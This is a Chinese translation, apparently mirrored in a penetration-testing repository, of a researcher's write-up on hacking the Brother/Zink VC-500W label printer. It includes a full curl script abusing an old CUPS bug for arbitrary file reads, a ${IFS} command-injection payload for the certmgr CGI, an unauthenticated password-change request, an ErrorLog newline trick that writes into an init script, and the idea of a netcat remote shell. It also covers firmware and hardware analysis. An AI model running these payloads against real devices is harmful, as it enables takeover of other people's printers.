mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2026-10-24 17:04:31 +00:00
* Move IoT docs into root iot directory Co-authored-by: Mr-xn <[email protected]> * Append missing IoT README entries Co-authored-by: Mr-xn <[email protected]> --------- Co-authored-by: copilot-swe-agent[bot] <[email protected]> Co-authored-by: Mr-xn <[email protected]>
508 lines
25 KiB
Markdown
508 lines
25 KiB
Markdown
# Brother VC-500W 打印机
|
||
> IOTsec-Zone
|
||
> 来源:https://www.iotsec-zone.com/article/472
|
||
|
||
如果您只想利用:zinkpwn
|
||
|
||
我们的主角是 Brother 品牌的 VC-500W。安装打印机时,我发现它暴露了一个彻头彻尾的中世纪版本
|
||
的 CUPS。这种体验就像是从抽屉里拿出一部旧的 Android 手机,惊讶于它的界面有多么陈旧。你还记
|
||
得 CUPS 曾经有那个糟糕的渐变导航栏吗?
|
||
|
||

|
||
|
||
这唤起了我脑海中的某些东西,立即让我想要更加深入地去研究一下,因为一台全新的设备竟然配备了
|
||
2012年版本的CPUS?这令人感觉有些蹊跷。
|
||
|
||
# 实际上,这真的相当的糟糕
|
||
初始化设置包括一个单独的网络Wi-fi设置按钮,后台使用了一些 CGI 脚本来进行配合处理。
|
||
|
||

|
||
|
||
这这个过程中,我发现了一些奇怪的事情,例如:用于连接到指定wifi网络的非常长的GET请求:
|
||
|
||
```
|
||
http://192.168.247.17/wificonfig?page=4&
|
||
password=bWFkZXVsb29rISEK&
|
||
number=01&
|
||
Address=D6%3A01[snip]&
|
||
ESSID=[snip]& Encryption_key=on&
|
||
IE0_label=WPA+Version+1&
|
||
IE0_Group_Cipher=CCMP&
|
||
IE0_Pairwise_Ciphers=CCMP&
|
||
IE0_Authentication_Suites=PSK&
|
||
IE1_label=[snip]&
|
||
IE1_Group_Cipher=CCMP&
|
||
IE1_Pairwise_Ciphers=CCMP&
|
||
IE1_Authentication_Suites=PSK&
|
||
Quality=100%2F100&
|
||
selected_ap=[snip]+(100%2F100)
|
||
```
|
||
但我暂时忽略了他们,继续往下研究,我检查了mikrotik以查看打印机从DHCP服务器获取的租约,并
|
||
且...
|
||
|
||

|
||
|
||
抱歉,我起初没有注意到整个字符串,后来在关闭多余的窗口时才发现这一点。我一看就傻眼了:CUPS
|
||
版本已经有 10 多年的历史了,Linux 内核也几乎老到可以喝酒的年纪,而这些都在一个 ARMv5 上运
|
||
行。这是在一个仍在生产的设备上,你现在还可以买到它。
|
||
|
||
现在我必须去调研一下。
|
||
|
||
初步的调研包括从网上检索相关设备,看看是否有人曾尝试去破解它。我发现的唯一结果是这个github
|
||
repo,它表面上提供了一些有用的信息,,主要是关于它们托管固件的位置。实际上,升级包是.tgz.gpg
|
||
格式,这……并没有告诉我太多信息,但仍然让人感到精神上的痛苦。我现在没有用到这些,但它们肯
|
||
定会在以后派上用场。
|
||
|
||
另外,我还检索量该年份的CUPS漏洞,事实证明,我的版本是最后一个容易受到任意文件读/写漏洞。
|
||
(通常被误归功于 CVE-2012-5519)仍然存在的版本。通过一些Copy as cURL 的技巧,我准备了一个
|
||
脚本:
|
||
|
||
exp.sh,一个通用的脚本,用于通过 CUPS 漏洞获取任何文件
|
||
|
||
```
|
||
#!/bin/bash
|
||
if [[ ! "$1" ]];
|
||
echo "usage: $0 "
|
||
fi
|
||
curl 'http://192.168.247.17:631/admin/' -X POST \
|
||
-H 'Content-Type: application/x-www-form-urlencoded' \
|
||
-H 'Cookie: org.cups.sid=1862ff74a0c01dd0fb444934e7e67e05' \
|
||
|
||
--data-raw 'org.cups.sid=1862ff74a0c01dd0fb444934e7e67e05&OP=configserver&CUPSDCONF=LogLevel+debug%0D%0ASystemGroup+root%0D%0AGroup+3003%0D%0AServe
|
||
rAlias+*%0D%0A%23+Allow+remote+access%0D%0APort+631%0D%0AListen+%2Fvar%2Frun%2Fc
|
||
ups%2Fcups.sock%0D%0ABrowsing+On%0D%0ABrowseOrder+allow%2Cdeny%0D%0ABrowseAllow+
|
||
all%0D%0ABrowseLocalProtocols+all%0D%0ABrowseWebIF+No%0D%0AMaxJobs+8%0D%0AMaxCli
|
||
ents+5%0D%0AMaxLogSize+5000000%0D%0APreserveJobFiles+No%0D%0APreserveJobHistory+
|
||
Yes%0D%0ADefaultAuthType+Basic%0D%0ADefaultEncryption+Required%0D%0AWebInterface
|
||
+Yes%0D%0APageLog+%2F'"$1"'%0D%0A%3CLocation+%2F%3E%0D%0A++%23+Allow+remote+admi
|
||
nistration...%0D%0A++Order+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%
|
||
0D%0A%3CLocation+%2Fadmin%3E%0D%0A++%23+Allow+remote+administration...%0D%0A++Or
|
||
der+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%0D%0A%3CLocation+%2Fadm
|
||
in%2Fconf%3E%0D%0A++%23+Allow+remote+access+to+the+configuration+files...%0D%0A+
|
||
+Order+allow%2Cdeny%0D%0A++Allow+all%0D%0A%3C%2FLocation%3E%0D%0A%3CPolicy+defau
|
||
lt%3E%0D%0A++JobPrivateAccess+default%0D%0A++JobPrivateValues+default%0D%0A++Sub
|
||
scriptionPrivateAccess+default%0D%0A++SubscriptionPrivateValues+default%0D%0A++%
|
||
3CLimit+All%3E%0D%0A++++Order+allow%2Cdeny%0D%0A++++Allow+all%0D%0A++%3C%2FLimit
|
||
%3E%0D%0A%3C%2FPolicy%3E%0D%0A%3CPolicy+authenticated%3E%0D%0A++JobPrivateAccess
|
||
+default%0D%0A++JobPrivateValues+default%0D%0A++SubscriptionPrivateAccess+defaul
|
||
t%0D%0A++SubscriptionPrivateValues+default%0D%0A++%3CLimit+All%3E%0D%0A++++Order
|
||
+allow%2Cdeny%0D%0A++++Allow+all%0D%0A++%3C%2FLimit%3E%0D%0A%3C%2FPolicy%3E%0D%0
|
||
A&SAVECHANGES=Save+Changes' >/dev/null
|
||
# sorry for this being so long, i have no way to format it sanely x.x
|
||
until curl -s http://192.168.247.17:631/admin/log/page_log; do
|
||
:
|
||
done
|
||
```
|
||
|
||
我发现的 PoC 使用了ErrorLog指令,这会在文件中附加很多无用信息。在我的测试过程中,我不小心
|
||
对 /etc/passwd 做了这个操作;幸运的是,因为 CUPS 不会截断文件,所以没有造成任何损害。后来我
|
||
发现,使用 PageLog 可以达到同样的效果,而且几乎不会损害文件。我们稍后会讨论这个“几乎”。
|
||
passwd,删除尾随垃圾以提高可读性
|
||
|
||
```
|
||
root:x:0:0:root:/root:/bin/sh
|
||
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
||
bin:x:2:2:bin:/bin:/bin/sh
|
||
sys:x:3:3:sys:/dev:/bin/sh
|
||
sync:x:4:100:sync:/bin:/bin/sync
|
||
mail:x:8:8:mail:/var/spool/mail:/bin/sh
|
||
proxy:x:13:13:proxy:/bin:/bin/sh
|
||
www-data:x:33:33:www-data:/var/www:/bin/sh
|
||
backup:x:34:34:backup:/var/backups:/bin/sh
|
||
operator:x:37:37:Operator:/var:/bin/sh
|
||
haldaemon:x:68:68:hald:/:/bin/sh
|
||
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
|
||
ftp:x:83:83:ftp:/home/ftp:/bin/sh
|
||
nobody:x:99:99:nobody:/home:/bin/sh
|
||
sshd:x:103:99:Operator:/var:/bin/sh
|
||
default:x:1000:1000:Default non-root user:/home/default:/bin/sh
|
||
```
|
||
很遗憾,/etc/passwd 并没有提供特别有趣的信息。我还尝试了 /etc/shadow,但没有发现任何密码哈
|
||
希。不过,/bin/sh 的内容更有价值:
|
||
|
||
```
|
||
domi@zork:~/projects/bro$ file sh
|
||
sh: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked,
|
||
interpreter /lib/ld-uClibc.so.0, stripped
|
||
|
||
domi@zork:~/projects/bro$ strings sh | grep -i busy
|
||
-r Try to remount devices as read-only if mount is busy
|
||
busybox
|
||
Usage: busybox [function] [arguments]...
|
||
or: busybox --list[-full]
|
||
BusyBox is a multi-call binary that combines many common Unix
|
||
link to busybox for each function they wish to use and BusyBox
|
||
BusyBox v1.19.4 (2018-05-14 11:11:59 EDT)
|
||
crond (busybox 1.19.4) started, log level %d
|
||
anonymous:busybox@
|
||
syslogd started: BusyBox v1.19.4
|
||
%s busy - remounted read-only
|
||
fsck (busybox 1.19.4, 2018-05-14 11:11:59 EDT)
|
||
```
|
||
如我所料,它是一个古老版本的 BusyBox。我考虑过利用 ErrorLog 来利用 BusyBox 中的
|
||
nc(netcat),并将一个远程 shell 附加到某个初始化脚本中,但我决定先看看 CGI 方面的情况。
|
||
|
||
# 供应商的惊喜
|
||
在初始设置之后,工具的功能扩展提供了一些额外的设置选项。我们可以重命名共享打印机(遗憾的
|
||
是,这里没有注入的可能性),而且…可以设置自定义 TLS 证书?
|
||
|
||

|
||
|
||
我很快发现,在任何输入字段中使用 $(), `,甚至只是 ; 都可能导致代码执行。
|
||
用于获取输出的小脚本;下载 CSR 并使用 OpenSSL 解析它
|
||
|
||
```
|
||
rm generated.csr
|
||
wget http://192.168.247.17/generated.csr
|
||
cat generated.csr | openssl req -noout -text
|
||
```
|
||
|
||

|
||
|
||
值得注意的是,发现这还不是最终结果。我的字符集非常有限,这使得启动反向 shell 非常困难。通过
|
||
反复试验,我发现不能使用斜杠(oof.)和空格(OOF.),但$和{}却没有问题。
|
||
|
||
# 环境变量,我的挚爱
|
||
当我在利用漏洞时不能使用某个特定字符时,我最喜欢的技巧是退后一步,看看我们已有的资源。很多
|
||
时候,你可以在 $PS1 或其他常见的环境变量中找到你需要的东西。就我来说,$IFS(内部字段分隔
|
||
符!你的 shell 可能用它来在循环等操作中分隔文本)非常有效。我用它来在参数之间插入空格。
|
||
|
||
```
|
||
./generic.sh 'http://192.168.247.17/cgi-bin/certmgr/generate_request?'\
|
||
'C=AT&'\
|
||
'ST=b&'\
|
||
'L=d"$(head${IFS}-n1${IFS}/etc/passwd|cat)"&'\
|
||
'O=asdf&'\
|
||
'OU=meow&'\
|
||
'CN=uwu&'\
|
||
'emailAddress=ja%40sdomi.pl&'\
|
||
'Generate=Generate'
|
||
```
|
||
在某个时刻,我搞砸了一些东西。或者说,我以为我搞砸了——我的漏洞利用仍然有效,但管理员页面
|
||
上的许多东西都为空。我怀疑自己在发出的某个请求中破坏了什么,所以我重启了设备。结果这成为了
|
||
一个严重的错误,因为重启后,CGI 管理界面无法启动,CUPS 也只部分正常工作(管理页面返回 500
|
||
错误)。哎。
|
||
|
||
我最后运行的命令是尝试将 /etc/passwd 复制到其他位置,以查看那个地方是否可写。我怀疑自己搞砸
|
||
了,可能破坏了 /etc/passwd,这让这导致我进入了一个长达一小时来修复它。
|
||
|
||
假设:/etc/passwd 现在已经损坏,但我可以利用 CUPS 的漏洞来重新创建它,对吧?当通过 PageLog
|
||
检索 /etc/passwd 时,它看起来像是一些随机的二进制文件,所以这个想法至少听起来有些合理。不幸
|
||
的是,经过一个小时的尝试,我发现之前的 CUPS 漏洞不再有效——配置文件不再被写入了。
|
||
|
||
我深入调查了一下。CUPS 显然包含了两种不同的编辑配置的方法——一种是通过向 /admin/ 发起表单
|
||
POST 请求(这已经不再有效),另一种是通过向 /admin/conf/ 发起 PUT 请求。此外,我还可以通过
|
||
GET 请求相同的文件来检查其内容。
|
||
|
||
我再次获取了 /etc/passwd。它的末尾有一些垃圾数据,但这没关系(常见的解析工具对语法非常宽
|
||
容)。所以,可能是其他地方出了问题……
|
||
|
||
拥有在 /etc/cups/ 目录内的任意写入权限(我尝试了经典的 /admin/conf/%2e%2e%2fpasswd,但它
|
||
并没有漏洞),我开始思考如何利用这一点来获得远程代码执行(RCE)并修复我所破坏的内容。我考
|
||
虑过重写 printers.conf,然后利用 CUPS 过滤器来直接获取 shell,或者获得系统任意位置的文件写入
|
||
权限,并利用这些权限来获取 shell。
|
||
|
||
我在本地创建了一个测试的 CUPS 环境。我花了几个小时尝试获得简单的任意文件写入权限,但即使在
|
||
CUPS 配置中拥有所有自由,我也没有成功。最终,我放弃了在利用链中使用过滤器——很可能我可以
|
||
通过它们获得某些东西,但我对 CUPS 的理解不够深入,而且我不太想进一步学习有关打印机的知识。
|
||
|
||
作为最后的尝试,我回到了最初的想法——利用 ErrorLog 实现任意文件写入。我发现 CUPS 1.6.1 在记
|
||
录错误时不正确地解析 URL,因此我可以将 %0a 转换为真正的换行符。这很不错,但我仍然需要找到
|
||
一个合适的文件来利用这个漏洞……
|
||
|
||
# 装满数据 S3 存储桶
|
||
只有当你在遇到需要猜测文件名的漏洞时,才会真正体会到文件列表的重要性。但是,如果我可以在没
|
||
有任何限制的情况下直接查看基础镜像会怎么样呢?
|
||
|
||

|
||
我一开始找到的 GitHub 仓库提供了一个链接,指向了 [http://cdn.zinkapps.com/](http://cdn.zinkapps.com/)。看起来请求根路径
|
||
/ 可以得到完整的文件列表,至少截至 2024-06-29 是这样。列表的最上面有一些元文件,然后是一些
|
||
Web 界面的元素,接着是一些日志文件(???),最后是大量的 .tgz.gpg 文件。.gpg 扩展名似乎是
|
||
伪造的——根据 file 命令,这些文件只是经过 OpenSSL 加密的。这使得它们更容易加密和解密,但与GPG 不同,密钥是对称的;如果找到了解密密钥,制作自己的升级包将变得非常简单。
|
||
|
||

|
||
不过,我可能还是需要逆向工程其中一个本地二进制文件才能找到密钥。幸运的是,运气站在我这边!
|
||
很多文件同时以 .tgz.gpg 和普通 .tgz 格式上传了。哎呀?
|
||
|
||
# 让我们来探索吧
|
||
我下载了一个名为 zinkupgrade-latest.tgz 的文件,最后修改时间是 2021 年 5 月。如果你有兴趣在家
|
||
里尝试一下,它可以在这里找到。
|
||
这个系统是一个自定义的 Buildroot 环境,软件选择有些特殊。他们嵌入了 BusyBox 和 Microperl 来
|
||
节省空间,但却使用了完整版本的 OpenSSH、OpenSSL 和 CUPS。我只能推测这个项目经过了许多薪
|
||
水不高的工程师处理,这与我在文件中发现的情况确实一致。
|
||
|
||
/etc/init.d/S91zink 的摘录
|
||
|
||
```
|
||
# Check hardware id nibble.
|
||
if devmem 0xf0000ede | grep '[8A].$' > /dev/kmsg
|
||
then
|
||
MODEL=wedge
|
||
# Zink electronics driver module.
|
||
insmod /etc/zbe_printer_W.ko
|
||
elif devmem 0xf0000ede | grep '[9].$' > /dev/kmsg
|
||
then
|
||
MODEL=turbob
|
||
insmod /etc/zbe_printer_T.ko
|
||
fi
|
||
```
|
||
初始化脚本中提到了一些名为“Wedge”和“Turbob”的设备,一些配置文件也专门为“hAppy”设置。搜索
|
||
“hAppy”会引导我到 zink.com 网站。
|
||
|
||
哦,真是的。看来 Zink 是原始设备制造商(OEM),而 Brother 只是把自己的logo和品牌贴在上面。
|
||
真可耻!
|
||
从我最不喜欢的一个亚马逊网站(Amazon)的产品评论网站来看。第一条评论来自 2015 年左右。我
|
||
不确定 zink 是从一开始就授权这款打印机,还是后来开始的因为它没有卖 - 但似乎他们有一个特定的设
|
||
计,他们很乐意尽可能长时间地榨取它,而且尽可能便宜。
|
||
|
||
总之,在我思考了资本主义之后,我决定将文件设置为 S91zink,并将 ErrorLog 文件设置为
|
||
/etc/init.d/S91zink,然后调用了一个不存在的 URL [http://192.168.247.17:631/%0a/usr/sbin/sshd%0](http://192.168.247.17:631/%0a/usr/sbin/sshd%0)
|
||
a。为了确保清楚,我将 ErrorLog 恢复为默认设置,并重启了打印机。
|
||
…它再也没有启动。我感到很困惑,但已经天亮了,所以我决定休息一下。第二天,我得找到 UART 来
|
||
修复它。
|
||
|
||
# 拆卸
|
||
|
||
本部分包含有关设备的物理详细信息;
|
||
这台打印机不会因为易于用户维修而获奖。兄弟公司的用户文档也没有提到关于打开设备进行维护的任
|
||
何信息,所以我只能靠自己。
|
||
如果纸盒被取出,从底部可以看到三个螺丝。但这些螺丝并不是问题所在——它们只是固定纸盒的组
|
||
件。问题在于:没有其他可见的螺丝,而虽然白色侧面板上有几个卡扣,但在这种状态下尝试撬开侧面
|
||
板却没有成功。
|
||
用尽了所有想法并且急于找到答案,我飞到日本,尝试分析机壳的其他部分。我本来没指望在黑色顶部
|
||
部分下面会有任何东西,但还是出于好奇把它撬开了。
|
||
|
||

|
||
|
||
……令我大吃一惊的是,竟然发现了螺丝!另外,友情提示:看来你可以不用撬棍就能把顶部拆下——
|
||
设备底部后面有一个小孔(我认为)可以通过这个孔插入螺丝刀来推开顶部。给 Zink 点个赞,设计很
|
||
不错!
|
||
|
||

|
||
在拆下第二层塑料之后……我们看到了更多一点,但仍然不多。透过一个孔,我发现了我们的‘奖励’,四
|
||
个看起来像是 UART 接口的焊点。
|
||
|
||

|
||
|
||
为了拆下第三层塑料,你必须移除前面的纸张感应器——它下面还有两个螺丝。之后,白色的侧壁应该
|
||
就能向上滑动了。
|
||
|
||

|
||
|
||

|
||
|
||
# 修复故障,出了什么问题?
|
||
有了 UART,我进入了 shell。在启动过程中,我还发现相同的 UART 接口提供了对U-boot 的无限制访
|
||
问,这在将新内核移植到设备时可能会派上用场(如果有人想做这件事的话)。
|
||
|
||

|
||
|
||
很快找到了我破坏的地方:一些 init 文件无法执行。还记得我写过 CUPS 的 PageLog 指令几乎未标记
|
||
文件时吗?...嗯,它改变了权限。
|
||
|
||
```
|
||
# mount
|
||
rootfs on / type rootfs (rw)
|
||
ubi0 on / type ubifs (rw,relatime)
|
||
proc on /proc type proc (rw,relatime)
|
||
devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620,ptmxmode=000)
|
||
tmpfs on /tmp type tmpfs (rw,relatime,size=61440k)
|
||
sysfs on /sys type sysfs (rw,relatime)
|
||
debugfs on /sys/kernel/debug type debugfs (rw,relatime)
|
||
ubi1_0 on /local type ubifs (rw,relatime)
|
||
```
|
||
是的,默认情况下,整个 rootfs 以读/写方式挂载。危险!
|
||
# 固件的进一步分析
|
||
在写这篇博客时,我发现自己在阅读各种初始化脚本和microPerl 程序,以仔细检查自己和我之前的假
|
||
设。多亏了这一点,我发现了......关于固件的更多奇怪之处:
|
||
|
||
### 密码身份认证
|
||
密码更改调用。呀,未经身份验证的密码更改!
|
||
|
||
```
|
||
curl http://192.168.247.17/cgi-bin/postdata \
|
||
-d 'passwordStr=uwu'
|
||
```
|
||
这个设备上的管理员密码总体上是个有趣的存在。它以未哈希、未加密的形式存储在
|
||
/etc/www/config/webconfig.xml 文件中;至少,它是针对每个设备单独设置的,并且还会打印在底部
|
||
标签上!
|
||
...或者至少我希望它是按设备计算的......
|
||
从我的设备转储webconfig.xml:
|
||
|
||
```
|
||
<?xml version="1.0" encoding="utf-8"?>
|
||
<config>
|
||
<password_chk_str>true</password_chk_str>
|
||
<password_str>meow</password_str>
|
||
<geo_location>0.0,0.0</geo_location>
|
||
<airprint_etag>0.00</airprint_etag>
|
||
</config>
|
||
```
|
||
|
||
缩进会受到影响,因为 /system/www/scripts/setDeviceInfo 使用 sed ;-; 编辑此文件。
|
||
网页界面验证密码的方式更是奇葩。前端会发起一个 GET 请求到 /cgi-bin/getdata?checkPassword,
|
||
然后一个microPerl 脚本……用 awk 解析 webconfig.xml,并返回结果。第一个脚本再把这个值放到一
|
||
个 gulp 在浏览器中被评估的地方:
|
||
|
||
GET /cgi-bin/getdata?checkPassword的响应
|
||
|
||
|
||
```
|
||
var isSetPassword=true;
|
||
var checkPassword=true;
|
||
```
|
||
如果 checkPassword 为 true,则前端将密码 POST 到 /cgi-bin/postdata。如果匹配,用户将获得重定
|
||
向,并且一些粗制滥造的 JS 代码会使用密码设置 cookie。大家接着正常进行他们的一天。
|
||
|
||
时:如果 checkPassword 被设置为false,密码永远不会被检查;这只是前端的一个表面改动:无论设
|
||
置如何,后端永远都不会检查 cookie!!身份验证仅仅是对浏览器的一个骗局,任何请求的失败都能打
|
||
破这个骗局。一些子页面,像 /certs.html 假设你必须要经过身份验证的过程,所以……它们甚至从来不
|
||
会检查 cookie!
|
||
|
||
我简直无法想出更糟糕、更诅咒的‘身份验证’流程。如果我再努力想象也做不出这么差的方案。这在
|
||
2024 年显然是极其糟糕的,但在发布那天的已经非常糟糕了。
|
||
|
||
# 仔细查看 postdata
|
||
通过 Web 界面公开的绝大多数数据是通过 getdata 请求的,并通过 postdata 修改的。这两个都是
|
||
microPerl 脚本,它们处理请求数据的解析和清理,然后调用另一个 microPerl 脚本来执行实际的读取/
|
||
写入。
|
||
|
||
```
|
||
# (...)
|
||
my $nextPage = "";
|
||
$ENV{'REQUEST_METHOD'} =~ tr/a-z/A-Z/;
|
||
if ($ENV{'REQUEST_METHOD'} eq "POST")
|
||
{
|
||
&parseDataPost;
|
||
print "Location: $nextPage\n\n";
|
||
}
|
||
exit(0);
|
||
# (...)
|
||
```
|
||
这个文件一开始包含一些与环境解析无关的粘合代码,然后立刻检查 CGI 的 REQUEST_METHOD 变
|
||
量。注意这个 if 语句中的 print 语句.
|
||
|
||
```
|
||
sub parseDataPost {
|
||
local ($buffer, @pairs, $pair, $name, $value);
|
||
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
|
||
# Split information into name/value pairs and decode url-encoded data.
|
||
@pairs = split(/&/, $buffer);
|
||
foreach $pair (@pairs)
|
||
{
|
||
($name, $value) = split(/=/, $pair,2);
|
||
$value =~ tr/+/ /;
|
||
$value =~ s/%(..)/pack("C", hex($1))/eg;
|
||
&writeToFile($name,$value);
|
||
}
|
||
}
|
||
```
|
||
|
||
接下来调用 parseDataPost,它只是逐个反序列化 POST 参数。注意 foreach 里面的廉价 urldecode...
|
||
|
||
```
|
||
sub writeToFile {
|
||
my $str = $_[1];
|
||
if($_[0] eq "passwordStr") {
|
||
$str = changeEscapeStr($str);
|
||
$str =~ s/&/\\&/g;
|
||
&setVars("password_str",$str);
|
||
} elsif($_[0] eq "printerName") {
|
||
&setVars("printer_name",$_[1]);
|
||
} elsif($_[0] eq "printerLoc") {
|
||
&setVars("printer_loc",$_[1]);
|
||
} elsif($_[0] eq "geoLoc") {
|
||
&setVars("geo_location",$_[1]);
|
||
} elsif($_[0] eq "cropEnabled") {
|
||
&setVars("crop_enabled",$_[1]);
|
||
} elsif($_[0] eq "NextPage") {
|
||
$nextPage = $_[1];
|
||
} elsif($_[0] eq "clearPassword") {
|
||
&clearPassInfoVars();
|
||
} elsif($_[0] eq "checkPassword") {
|
||
if(changeEscapeStr($_[1]) eq &getVar("password_str")){
|
||
&setVars("password_chk_str",true);
|
||
} else {
|
||
&setVars("password_chk_str",false);
|
||
}
|
||
}
|
||
}
|
||
```
|
||
|
||
继续往下看,writeToFile 决定如何处理输入。如果名称是 NextPage,则会设置一个变量,而没有进一
|
||
步的检查……嘿,你察觉到了这段代码有潜在风险吗?
|
||
|
||

|
||
|
||
NextPage 存在数据注入漏洞!虽然它是反射型的,所以我们不能从中获得太多实质性的信息,但看到
|
||
这种情况仍然很有趣。
|
||
|
||
```
|
||
sub changeEscapeStr {
|
||
my $str = $_[0];
|
||
$str =~ s/&/&/g;
|
||
$str =~ s/</</g;
|
||
$str =~ s/>/>/g;
|
||
$str =~ s/"/"/g;
|
||
$str =~ s/'/'/g;
|
||
$str =~ s/\*/*/g;
|
||
# $str =~ s/&/\\&/g;
|
||
return $str;
|
||
}
|
||
```
|
||
|
||
不知何故,即使存在所有这些问题,我们仍然无法获得免费的 RCE。在少数地方,固件通过引号巧妙地
|
||
得以保护,而在至少一个地方则是通过参数分割。尽管如此,这些代码依然不够好。
|
||
|
||
整个冒险过程中最令人瞠目结舌的部分,或许就是看到基础镜像是多么的混乱和杂乱。像 /etc/www 这
|
||
样的结构,混乱的符号链接将不同的目录互相连接,看起来毫无目的,以及随意丢弃的东西,完全没有
|
||
对整个系统如何运作的理解等等。
|
||
|
||

|
||
|
||
对于不熟悉的人来说,ko 文件是内核对象,也就是内核模块。简单来说,模块可以扩展内核的功能,
|
||
使其能够与额外的设备进行通信(因此,它们实际上是驱动程序)。在常见的系统中,这些模块通常位
|
||
于 /lib/modules/ 下的特定目录结构中,由侦听硬件更改的进程加载。/etc 是...对于内核模块来说,这
|
||
是一个相当不寻常的地方。
|
||
|
||
```
|
||
# Load WiFi module.
|
||
if lsusb | grep 0bda:0179 > /dev/null
|
||
then
|
||
# Brother rtl8188eu
|
||
insmod /etc/8188eu.ko rtw_tx_pwr_lmt_enable=1 rtw_tx_pwr_by_rate=1
|
||
elif lsusb | grep 0bda:f179 > /dev/null
|
||
then
|
||
# Brother rtl8188fu ( Gabe's modified version 2/5/2021 )
|
||
insmod /etc/8188fu.ko rtw_tx_pwr_lmt_enable=1 rtw_tx_pwr_by_rate=1
|
||
else
|
||
# hAppy *** obsolete unless we retain WEXT for rtl8188eu
|
||
insmod /etc/8192cu.ko
|
||
fi
|
||
```
|
||
其中一个初始化文件提到这两个文件,以及另一个文件。虽然我们无法确切确定这些模块的来源,但这
|
||
个 GitHub 仓库是我最好的猜测。该代码以 GPL-2.0 许可发布,而初始化文件提到一个‘修改版本’……我
|
||
闻到了许可违规的味道吗?:^
|
||
|
||
# 固件升级流程
|
||
|
||
我没有像我想的那样深入研究这个问题(原因是没时间);cgi-bin 里有一个 microPerl 脚本处理下
|
||
载,然后 /usr/bin/upgrade 负责解密和解压镜像。值得注意的是,旧文件不会被删除,这使得更改的
|
||
持久化变得非常简单——即使在测试升级后,我的 sshd 仍然能启动 :3c。
|
||
|
||
我不需要深入研究固件加密,所以我只知道密钥在升级可执行文件中的某个位置进行了硬编码。同样,
|
||
我只浏览了 certmgr 二进制文件,它赞助了整个漏洞 - 我将这两件事留给读者作为摘录。
|
||
|
||
# 现在怎么办呢?
|
||
我不知道!虽然所有这些设备都不安全,但(谢天谢地)他们对云连接的依赖很少——除了从 AWS S3
|
||
获取更新之外,没有什么看起来像是向外传递数据。这限制了大多数攻击向量到局域网内。Zink 显然不
|
||
在乎安全问题——他们不仅在将近 10 年内没有发布安全更新,而且他们的固件在发布当天就已经存在
|
||
漏洞。此外,他们自己的软件存在明显的漏洞,有些部分缺失或匆忙实现。这是‘物联网中S代表安全’教
|
||
科书式的例子。
|
||
|
||
拥有 root 权限后,可以实现一些解决方案来缓解这些安全问题,从而使设备变得稍微不那么容易被攻
|
||
陷。因此,我认为如果你拥有这些设备,可以尝试以下方法:黑进设备,禁用远程 CUPS 配置编辑,并
|
||
彻底禁用 lighttpd。这应该能在一定程度上提高安全性,至少对我所描述的漏洞有效。
|
||
我自己正在制作一个小型应用程序,允许从设备本身的 Web 服务器直接打印标签,因为这最终将减少
|
||
我将来必须接触 CUPS 的次数。当它准备好时,它会被推送到漏洞利用仓库 :3
|